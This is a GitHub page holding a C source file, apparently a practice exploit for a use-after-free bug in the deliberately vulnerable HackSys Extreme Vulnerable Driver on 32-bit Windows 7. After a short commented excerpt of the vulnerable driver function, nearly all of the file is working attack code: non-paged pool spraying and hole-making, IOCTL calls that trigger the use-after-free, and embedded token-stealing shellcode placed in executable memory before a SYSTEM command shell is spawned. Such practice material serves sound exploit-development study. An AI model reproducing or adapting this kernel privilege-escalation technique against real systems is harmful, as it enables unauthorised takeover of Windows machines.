-
Notifications
You must be signed in to change notification settings - Fork 40
/
Copy pathHEVD-Uaf-Win7x86.c
266 lines (212 loc) · 5.65 KB
/
HEVD-Uaf-Win7x86.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
/*
NTSTATUS FreeUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
'''
Fairly straight forward, this frees the pool chunk by referencing the tag value.
This is the function that contains the vulnerability in that "g_UseAfterFreeObject"
is not set to null after the object is freed and so retains a stale object pointer.
'''
<-----------------
To Put it simply The driver lets us initialize a kernel object with a pointer that is later freed
(that means we can change the content of that memory location) and then we can call a callback on that freed memory (use it)
with a little extra memory manipulation we can replace the content in that address to a pointer to our shell code again leading to
code execution.
---------------->
*/
#include <Windows.h>
#include <stdio.h>
#include <winioctl.h>
#include <stdint.h>
#include <malloc.h>
#define IoCo 1
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING *ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS(__stdcall* pfNtAllocateReserveObject)(
_Out_ PHANDLE hObject,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ DWORD ObjectType
);
#define IO_COMPLETION_OBJECT 1
typedef struct _FAKE_OBJECT {
CHAR buffer[0x58];
} FAKE_OBJECT, *PFAKE_OBJECT;
HANDLE ReserveObjectArrayA[10000];
HANDLE ReserveObjectArrayB[5000];
VOID SprayNonPagedPool() {
UINT32 i = 0;
HMODULE hModule = NULL;
hModule = LoadLibraryA("ntdll.dll");
if (!hModule) {
exit(EXIT_FAILURE);
}
pfNtAllocateReserveObject NtAllocateReserveObject = (pfNtAllocateReserveObject)GetProcAddress(
hModule, "NtAllocateReserveObject");
for (i = 0; i < 10000; i++) {
NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT);
}
for (i = 0; i < 5000; i++) {
NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT);
}
}
VOID CreateHolesInNonPagedPool() {
UINT32 i = 0;
for (i = 0; i < 5000; i += 2) {
if (!CloseHandle(ReserveObjectArrayB[i])) {
}
}
}
VOID FreeObjects() {
UINT32 i = 0;
for (i = 0; i < 10000; i++) {
if (!CloseHandle(ReserveObjectArrayA[i])) {
}
}
for (i = 1; i < 5000; i += 2) {
if (!CloseHandle(ReserveObjectArrayB[i])) {
}
}
}
int main()
{
UINT32 i = 0;
HANDLE hFile = NULL;
ULONG BytesReturned;
PFAKE_OBJECT FakeObject = NULL;
HANDLE dev = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL
);
if (dev == INVALID_HANDLE_VALUE) {
return 1;
}
char pl[66] =
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\x31\xC0"
"\xC3"
;
LPVOID pla = VirtualAlloc(
NULL,
sizeof(pl),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
memcpy(pla, pl, sizeof(pl));
LPVOID PayloadPtr = &pla;
FakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(FAKE_OBJECT));
RtlFillMemory((PVOID)FakeObject, sizeof(FAKE_OBJECT), 0x41);
FakeObject->buffer[sizeof(FakeObject->buffer) - 1] = '\0';
*(PULONG)FakeObject = (ULONG)pla;
SprayNonPagedPool();
CreateHolesInNonPagedPool();
// DebugBreak();
DWORD bytesReturned = 0;
// Create
DeviceIoControl(
dev,
0x222013,
NULL,
0,
NULL,
0,
&bytesReturned,
(LPOVERLAPPED)NULL
);
// Free
DeviceIoControl(
dev,
0x22201B,
NULL,
0,
NULL,
0,
&bytesReturned,
(LPOVERLAPPED)NULL
);
byte Buff[0x58] = { 0 };
memcpy(Buff, PayloadPtr, 4);
memset(Buff + 4, '\x42', 0x54);
memset(Buff + 0x57, '\x00', 1);
// Spray..
for (int i = 0; i < 5000; i++) {
DeviceIoControl(
dev,
0x22201F,
Buff,
sizeof(Buff),
NULL,
0,
&bytesReturned,
(LPOVERLAPPED)NULL
);
}
DeviceIoControl(
dev,
0x222017,
NULL,
0,
NULL,
0,
&bytesReturned,
(LPOVERLAPPED)NULL
);
system("cmd.exe");
CloseHandle(dev);
system("pause");
return 0;
}